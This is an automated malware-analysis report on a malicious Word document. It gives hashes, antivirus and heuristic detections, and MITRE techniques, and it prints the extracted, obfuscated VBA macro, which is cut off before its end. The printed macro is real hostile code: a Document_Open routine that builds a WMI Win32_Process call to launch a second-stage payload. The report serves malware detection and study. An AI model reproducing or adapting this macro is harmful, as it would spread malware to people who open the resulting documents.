Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4c6f8e8987da930c…

MALICIOUS

Office (OLE)

187.6 KB Created: 2020-09-02 12:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 3d91aa541c98b9508ca121df88dba1c0 SHA-1: 8ff9936500f6189c328d246b74205f20fa7e1ada SHA-256: 4c6f8e8987da930c7f25d70e1ea2bb62360c1abb013e8851e0bdb54e72d02c45
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The macro uses CreateObject and obfuscated code, indicating an attempt to download and execute a second-stage payload. The ClamAV detection further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.Evxm-9752133-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Evxm-9752133-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8932 bytes
SHA-256: b5af11da0f4ea797f3c43856af862f41489ec829021248a2e4c6492a04d8fec4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wzgjn0mugfbylm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Fnsu6o7ee8me.Bbcd45xj7g1v1x0oof
End Sub


Attribute VB_Name = "Fnsu6o7ee8me"
Attribute VB_Base = "0{BBB1093C-3261-4E75-9E82-9C8A2E91D7B9}{517DDE18-BE33-4558-8F98-3F6C567360A7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Bbcd45xj7g1v1x0oof()
   On Error Resume Next
Set V4alnn_u1wyp = Bi7ujrvv1sjms
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Ohih_cks08jz6pff = 105
   On Error Resume Next
Set Ptnnj0k8k56al0s = V3g0nq93t3m
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Phpydf4l459pmu8 = ChrW$(Ohih_cks08jz6pff + (10))
   On Error Resume Next
Set Oo66q1_3vgedx5k = Hv_jbjw03oczg_em
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
T4kgi4yek_km6ks8lf = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + Phpydf4l459pmu8 + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + Fnsu6o7ee8me.Lpdwtms7vv5b3bev + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
Set H_tq7q3y21zew = Ulcq_cu5s3zy_qu29k
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Rfwp5h_ezhx1ioj = L5h9pewo499y58bi(T4kgi4yek_km6ks8lf)
   On Error Resume Next
Set Mjm6e2vf3zcm = Snhc6fmwadm
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
   On Error Resume Next
Set Tgj8v6ld_0q = F43rzdmu2ghem
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Mxcit0_9kni85cjgi = Fnsu6o7ee8me.Bvmkby7dv4_a.ControlTipText
   On Error Resume Next
Set S8n41wo4k1xfg0p8_ = Ern2v9nrm2gdapko
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Ollovfzri_6_kmn = R2rmzda5pni + (Rfwp5h_ezhx1ioj + Phpydf4l459pmu8 + Fnsu6o7ee8me.Twdrd8lq_5n3_ca73h.ControlTipText + Mxcit0_9kni85cjgi)
   On Error Resume Next
Set Z7wfk3a0tm4 = Pge8k45dnh4iru3em
nyEmG2 = 4898 * CDate(5 * ChrB(okUa3B17 _
)) / SvtYh16 - 5745 + (85 + XyKf1715 * NyF / Atn(751))
TqwDw = PXNR + ChrB(281) - 306077411 - CInt(5016 _
) - (130193105 - Rnd _
(SIlaC9 - 13 * UbsOn2P + YgdH7Z))
Ckasp1_6r9t6r = Ollovfzri_6_kmn + Fnsu6o7ee8me.Lpdwtms7vv5b3bev
   On 
... (truncated)